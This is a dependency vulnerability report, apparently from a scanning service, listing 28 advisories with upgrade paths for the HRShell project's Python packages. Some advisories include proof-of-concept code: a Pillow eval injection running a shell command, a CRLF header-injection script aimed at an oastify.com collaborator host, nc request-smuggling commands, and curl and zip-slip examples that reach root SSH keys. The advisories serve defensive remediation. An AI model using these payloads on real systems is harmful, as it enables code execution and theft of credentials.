Vulnerabilities

28 via 29 paths

Dependencies

24

Source

GitHub

Commit

1da23e53

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 10
  • 15
  • 2
Status
  • 28
  • 0
  • 0

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.1.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: pyopenssl@25.3.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pyopenssl@25.3.0 cryptography@45.0.7
    Remediation: Upgrade to pyopenssl@25.3.0.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.

Remediation

Upgrade cryptography to version 46.0.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.5.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the multipart/form-data parser. An attacker can generate an extremely high volume of logs, leading to a denial of service by sending malformed multipart form data that triggers continuous error logging.

Note:

This is only exploitable if the logging subsystem is synchronous.

Workaround

This vulnerability can be mitigated by blocking Content-Type: multipart/form-data in a proxy.

Remediation

Upgrade tornado to version 6.5 or higher.

References

high severity

Excessive Iteration

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.5.3.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Excessive Iteration in the _parseparam() function. An attacker can cause the server to become unresponsive and consume excessive CPU resources by sending requests with a large number of maliciously crafted parameters in the Content-Disposition header.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.5.3.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the HTTPHeaders.add method. An attacker can cause the server's event loop to become unresponsive for an extended period by sending a single maliciously crafted HTTP request with repeated header names, leading to excessive string concatenation and high CPU usage.

Note:

This is only exploitable if the max_header_size configuration has been increased from its default value.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.2.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.0.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: inquirer@2.10.1

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 inquirer@2.10.1 readchar@4.0.5 setuptools@68.0.0
    Remediation: Upgrade to inquirer@3.2.5.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.

The demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.

Remediation

Upgrade werkzeug to version 3.0.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.4.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to inefficient cookie parsing that results in quadratic performance. An attacker could cause tornado to consume excessive CPU resources and block the event loop through maliciously crafted cookies.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tornado to version 6.4.2 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.

Remediation

Upgrade werkzeug to version 3.0.6 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask@2.3.3.
  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask@2.3.3.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: inquirer@2.10.1

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 inquirer@2.10.1 readchar@4.0.5 setuptools@68.0.0
    Remediation: Upgrade to inquirer@3.2.5.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.3.3.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parse and validate strings capabilities in the int constructor.

Notes:

  1. This is possible when Tornado is deployed behind certain proxies that interpret those non-standard characters differently.
  2. This is known to apply to older versions of haproxy, although the current release is not affected.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

Improper Neutralization of CRLF Sequences ('CRLF Injection')

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.4.1.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') through the CurlAsyncHTTPClient headers. An attacker can manipulate HTTP headers and construct unauthorized requests by injecting CRLF sequences into header values.

PoC

The issue can be reproduced using the following script:


import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.

Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.

Remediation

Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Werkzeug is a WSGI web application library.

Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.

Note: This is only exploitable on Windows systems using Python versions prior to 3.11.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Werkzeug to version 3.0.6 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name, e.g. CON or NUL.

Note: This is only vulnerable on Windows, where special device names are implicitly present in every directory.

Remediation

Upgrade werkzeug to version 3.1.4 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join() function, which permits path segments containing Windows special device names with file extensions or trailing spaces. An attacker can access unintended files or devices by crafting malicious path inputs.

Note:

This issues exists due to the incomplete fix for CVE-2025-66221 that failed to account for compound extensions such as CON.txt.html or trailing spaces.

Remediation

Upgrade werkzeug to version 3.1.5 or higher.

References

medium severity
new

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5 werkzeug@2.2.3
    Remediation: Upgrade to flask@2.2.5.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name.

Notes:

  1. This is only vulnerable on Windows, where special device names are implicitly present in every directory;

  2. This is a bypass of CVE-2025-66221, as the added filtering failed to account for the fact that safe_join accepts paths with multiple segments, such as example/NUL.

Remediation

Upgrade werkzeug to version 3.1.6 or higher.

References

medium severity

Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@9.5.0

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 pillow@9.5.0
    Remediation: Upgrade to pillow@10.3.0.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.3.3.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper parsing of the -, +, and _ characters in chunk length and Content-Length fields through the int constructor.

Note: Exploiting this vulnerability is possible if Tornado is deployed behind certain proxies that interpret non-standard characters differently, such as older versions of haproxy.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

HTTP Header Injection

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.5.3.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Header Injection via the reason argument in HTTP status handling. An attacker can inject arbitrary HTTP headers or execute malicious scripts in the browser by supplying crafted input to the RequestHandler.set_status or tornado.web.HTTPError parameters.

##Workaround

This issue can be mitigated by controlling the usage of untrusted data for the reason argument.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.4.1.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the handling of multiple Transfer-Encoding: chunked headers. An attacker can desynchronize the connection and potentially bypass ACLs or poison caches by sending crafted requests with duplicate Transfer-Encoding: chunked headers.

PoC

Install Tornado

Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py
import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())
EOF
python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

low severity

Open Redirect

  • Vulnerable module: tornado
  • Introduced through: tornado@6.2

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 tornado@6.2
    Remediation: Upgrade to tornado@6.3.2.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Open Redirect via the StaticFileHandler class, due to improper validation of the default_filename parameter in the initialize function. Exploiting this vulnerability is possible under specific configurations and might result in a redirect to an attacker-controlled site.

Note: This vulnerability is still under analysis and we are following up with the maintainers to confirm it.

Remediation

Upgrade tornado to version 6.3.2 or higher.

References

low severity
new

Use of Cache Containing Sensitive Information

  • Vulnerable module: flask
  • Introduced through: flask@2.2.5

Detailed paths

  • Introduced through: chrispetrou/HRShell@chrispetrou/HRShell#1da23e533ef75c2518f1d4fc0d22762219981d90 flask@2.2.5
    Remediation: Upgrade to flask@3.1.3.

Overview

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the session object. An attacker can cause sensitive user-specific responses to be cached and served to other users by leveraging a caching proxy that does not ignore responses with cookies, when the application does not set a Cache-Control header and accesses the session only for keys without mutating or accessing values.

Note:

This is only exploitable if the application is hosted behind a caching proxy that does not ignore responses with cookies, does not set a Cache-Control header to indicate that a page is private or should not be cached, and accesses the session in a way that does not access the values, only the keys, and does not mutate the session.

Remediation

Upgrade flask to version 3.1.3 or higher.

References